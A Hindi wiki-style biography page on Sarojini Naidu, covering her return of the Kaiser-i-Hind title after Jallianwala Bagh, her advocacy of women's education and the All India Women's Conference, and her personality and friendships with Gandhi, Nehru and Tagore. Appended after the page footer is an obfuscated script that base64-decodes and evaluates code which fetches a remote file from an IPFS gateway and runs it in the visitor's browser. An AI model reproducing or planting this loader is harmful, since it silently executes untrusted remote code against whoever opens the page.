सरोजिनी नायडू का व्यक्तित्व

भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (वार्ता | योगदान) द्वारा परिवर्तित 08:05, 10 फ़रवरी 2021 का अवतरण (Text replacement - "अन्दाज " to "अंदाज़")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें
सरोजिनी नायडू विषय सूची
सरोजिनी नायडू का व्यक्तित्व
सरोजिनी नायडू
सरोजिनी नायडू
पूरा नाम सरोजिनी नायडू
अन्य नाम भारत कोकिला
जन्म 13 फ़रवरी, 1879
जन्म भूमि हैदराबाद, आंध्र प्रदेश
मृत्यु 2 मार्च, 1949
मृत्यु स्थान इलाहाबाद, उत्तर प्रदेश
अभिभावक अघोरनाथ चट्टोपाध्याय एवं वरदा सुन्दरी
पति/पत्नी डॉ. एम. गोविंदराजलु नायडू
संतान जयसूर्य, पद्मजा नायडू, रणधीर और लीलामणि
नागरिकता भारतीय
प्रसिद्धि राष्ट्रीय नेता, कांग्रेस अध्यक्ष
पार्टी कांग्रेस
पद प्रथम राज्यपाल (उत्तर प्रदेश)
विद्यालय मद्रास विश्वविद्यालय, किंग्ज़ कॉलेज लंदन, गर्टन कॉलेज, कैम्ब्रिज
भाषा अंग्रेज़ी, हिन्दी, बंगला और गुजराती
पुरस्कार-उपाधि केसर-ए-हिन्द
विशेष योगदान नारी-मुक्ति की समर्थक
रचनाएँ द गोल्डन थ्रेशहोल्ड, बर्ड आफ टाइम, ब्रोकन विंग
अन्य जानकारी लगभग 13 वर्ष की आयु में सरोजिनी ने 1300 पदों की 'झील की रानी' नामक लंबी कविता और लगभग 2000 पंक्तियों का एक विस्तृत नाटक लिखकर अंग्रेज़ी भाषा पर अपना अधिकार सिद्ध कर दिया।
अद्यतन‎

सरोजिनी नायडू ने भय कभी नहीं जाना था और न ही निराशा कभी उनके समीप आई थी। वह साहस और निर्भीकता का प्रतीक थीं। पंजाब में सन् 1919 में जलियांवाला बाग में हुए हत्याकांड के बारे में कौन नहीं जानता होगा। आम सभाओं पर जनरल डायर के द्वारा लगाय गए प्रतिबंध के विरोध में जमा हुए सैकड़ों नर-नारियों की निर्दयता से हत्या कर दी गई थी। वैसे भी रॉलेट एक्ट के पारित होने से देश में पहले से ही काफ़ी तनाव था। इस एक्ट ने न्यायाधीश को राजनीतिक मुक़दमों को बिना किसी पैरवी के फैसला करने और बिना किसी क़ानूनी कार्रवाई के संदिग्ध राजनीतिज्ञों को जेल में डालने की छूट दे दी थी। जलियांवाला हत्याकांड को लेकर समस्त देश में क्रोध भड़क उठा। उस पाशविक अत्याचार की गुरुदेव रवीन्द्रनाथ टैगोर के मन में उग्र प्रतिक्रिया हुई और उन्होंने अपनी 'नाइट हुड' की पदवी लौटा दी। सरोजिनी नायडू ने भी अपना 'कैसर-ए-हिन्द' का ख़िताब वापस कर दिया जो उन्हें सामाजिक सेवाओं के लिय कुछ समय पहले ही दिया गया था। अहमदाबाद में गांधी जी के साबरमती आश्रम में स्वाधीनता की प्रतिज्ञा पर हस्ताक्षर करने वाले आरम्भिक स्वयं सेवकों में वह एक थीं। गांधीजी शुरू में यह नहीं चाहते थे कि महिलाएँ सत्याग्रह में सक्रिय रूप से भाग लें। उनकी प्रवृत्तियों को गांधी जी कताई, स्वदेशी, शराब की दुकानों पर धरना आदि तक सीमित रखना चाहते थे। लेकिन सरोजिनी नायडू, कमला देवी चट्टोपाध्याय और उस समय की देश की प्रमुख महिलाओं के आग्रह को देखते हुए उन्हें अपनी राय बदल देनी पड़ी।

नारी अधिकारों की समर्थक

सरोजिनी नायडू को विशेष रूप से राष्ट्रीय नेता और नारी-मुक्ति की समर्थक के रूप में याद किया जाता है। राष्ट्रीय नेता होने के कारण उन्हें हमेशा देश की राजनीतिक निर्भरता की चिन्ता रहती थी और एक नारी होने के कारण वह भारतीय नारी की दुखद स्थिति से परिचित थीं। नारी के प्रति हो रहे अन्यायों के विरुद्ध उन्होंने आवाज़ उठाई। नारियों को उनके मूलभूत अधिकारों से वंचित रखने वाली सामाजिक व्यवस्था का उन्होंने विरोध किया। वह नारीवादी नहीं थीं लेकिन भारत की नारियों को जिन समस्याओं और कठिनाईयों का सामना करना पड़ रहा था उनका उन्हें पूरा-पूरा ख़्याल था। नारियों को शिक्षा से वंचित रखा जाता था और बहुत-सी सामाजिक रूढ़ियों ने उन्हें जकड़ रखा था। सरोजिनी नायडू 'नारी मुक्ति आंदोलन' को भारत के स्वाधीनता संग्राम का एक हिस्सा ही समझती थीं। वह अपने शब्दों की पूर्ण शक्ति के साथ पुरुष और स्त्रियों, दोनों के बीच जाकर नारी शिक्षा की आवश्यकताओं पर ज़ोर देती थीं। अंधकारमय मध्य युग से पहले नारी को जो प्रतिष्ठा प्राप्त थी उसकी वह अपने श्रोताओं को हमेशा याद दिलाती थीं। सरोजिनी नायडू की नज़रों में शिक्षा नारी मुक्ति की दिशा में एक महत्त्वपूर्ण क़दम था। शिक्षित होकर ही नारी अपने परिवार और समाज को बेहतर बना सकती है। इस उक्ति में उनका पूर्ण विश्वास था कि 'जो हाथ पालना झुलाते हैं वही दुनिया पर शासन करते हैं।' लेकिन उनका यह भी विश्वास था कि किसी अज्ञानी और अशिक्षित नारी का हाथ यह नहीं कर सकता है।
स्त्रियों को अपनी क्षमता और अधिकारों का बोध होना भी उनके मत में नारी-शिक्षा जितनी ही महत्त्वपूर्ण था। जहाँ-जहाँ वह गईं वहाँ-वहाँ उन्होंने इन बातों पर ज़ोर दिया। नारी के विकास के विषय में उनकी चिन्ता को देखते हुए उनका 'अखिल भारतीय महिला परिषद' (आल इंडिया विमेन्स कान्फ्रेंस) से जुड़ना स्वाभाविक ही था। यह देश की सबसे पुरानी और महत्त्वपूर्ण नारी संस्था है। आज भारत की नारियों को जो राजनीतिक, आर्थिक और क़ानूनी अधिकार प्राप्त हैं, उन्हें दिलाने में इस संस्था का बहुत बड़ा योगदान रहा है। लेडी धनवती रामा राव और दूसरी अनेक सामाजिक कार्यकर्ताओं की सेवाओं का इस संस्था को लाभ मिला है। विजयलक्ष्मी पंडित, कमलादेवी चट्टोपाध्याय, लक्ष्मी मेनन, हंसाबेन मेहता जैसी बहुत सी महिलाएँ इससे जुड़ी रही हैं। ब्रिटेन की नारी-अधिकारों की प्रसिद्ध समर्थक मार्गरेट कजिन्स का सक्रिय मार्गदर्शन भी इस संस्था को प्राप्त हुआ। अपने जीवन के सक्रिय वर्षों में सरोजिनी नायडू इस संस्था की गतिविधियों की प्रेरणा रही। भारतीय नारी मुक्ति के आंदोलन में दिये गये उनके योगदान और इस संस्था के लिए उनकी सेवाओं को ध्यान में रखते हुए अखिल भारतीय महिला परिषद के नई दिल्ली स्थित केन्द्रीय दफ़्तर को 'सरोजिनी हाउस' नाम दिया गया है। उन्होंने जो इस देश की महिलाओं के लिए किया है उसके लिए उन्हें याद किया जाएगा। उनके प्रभावशाली शब्दों के लिए याद किया जाएगा, जिन्होंने नारी को उसके अधिकारों और शक्ति के प्रति जागरूक किया और जिनके द्वारा वे बेहतर नागरिक और बेहतर इंसान बनीं।

व्यक्तित्व और सौन्दर्य प्रेम

सरोजिनी नायडू

राजनीतिक और सामाजिक उत्तरदायित्वों के बावजूद सरोजिनी नायडू हंसी और गीत की प्रतीक थीं। कोई बड़ी आम सभा हो या विद्यार्थियों और स्त्रियों का छोटा समूह, या किसी विश्वविद्यालय का दीक्षान्त हो, उनका व्याख्यान किसी गीत के समान ही होता। उनकी वक्तव्य संगीतमय शब्दों में होता था जो समय आने पर सिंह की गर्जना भी बन सकती थी। सौन्दर्य और रंगों के प्रति उनका प्रेम अदभुत था। उस समय के गम्भीर चेहरे वालों और सफ़ेद ख़ाकी की पोशाक पहनने वाले नेता और स्वयं सेवकों से भिन्न वह रंग-बिरंगी चमकीली रेशमी साड़ियाँ पहनती थीं। वह भारी नेक्लेस और ख़ूबसूरत चीज़ में दिलचस्पी लेती थीं। जब वह सन् 1928 में अमेरिका गईं तब जगमगाते सिने तारकों से भरे हॉलीवुड में जाना भी नहीं भूली थीं। सुन्दर वस्त्रों की तरह स्वादिष्ट भोजन भी उन्हें बड़ा प्रिय था। चॉकलेट और कबाब तो उन्हें बहुत ही पसंद था। वह इतनी नटखट थीं कि खाने के बारे में डॉक्टरों की पाबन्दियों को नज़रअंदाज़करने में उन्हें बड़ा मज़ा आता था। औपचारिक भोजन दावतों में बैठने की सज़ा उन्हें भुगतनी पड़ती थी, लेकिन बम्बई के जुहू तट पर भेल-पुरी वह बड़ी लज्जत के साथ खाती थीं।
राज्यपाल होने पर भी, सरोजिनी नायडू का व्यवहार हमेशा अनौपचारिक होता था। लोगों की विशेषकर युवा लोगों की वह स्वयं कष्ट सह कर भी सहायता करती थीं। देश की युवा पीढ़ी को वह बहुत चाहती थीं और उन पर उनका गहरा विश्वास था। आख़िर तक उन्होंने अपनी युवा भावनाओं को बनाये रखा था और बढ़ती उम्र और बीमारियों को चुनौती दी थी। अक्सर सरोजिनी नायडू लखनऊ में अपने सरकारी निवास स्थान में जाड़ों की धूप में बैठी जासूसी उपन्यास पढ़ती हुई नज़र आ जाती थीं। वाणी और व्यवहार में सरोजिनी नायडू स्नेह की मूर्ति थीं। वह स्नेहमयी पुत्री, पत्नी और माँ थीं। दुनिया भर में अपने मित्र बना लें ऐसी उनकी क्षमता थी। अपने उन मैत्री सम्बन्धों को उन्होंने बड़े प्यार से निभाया था। गांधी जी और गोखले के अतिरिक्त रवीन्द्रनाथ ठाकुर और सी. एफ. एन्ड्रूज उनके अच्छे मित्रों में से थे। गांधी जी को तो वह 'एक मित्र और गुरु' की तरह चाहती थीं। उनके साथ वह खुल कर हंसती थीं, जो गांधी जी का भी एक विशेष गुण था। गांधी जी के साथ जिस तरह आज़ादी के साथ वह व्यवहार करती थीं, ऐसा करने का और किसी नेता को शायद ही साहस होता था। जवाहरलाल नेहरू को वह अपना छोटा भाई समझती थीं और इन्दिरा गांधी के जन्म का उन्होंने 'भारत की नयी चेतना' कहकर स्वागत किया था। वह बात वास्तव में भविष्य की सूचक सिद्ध हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका-टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>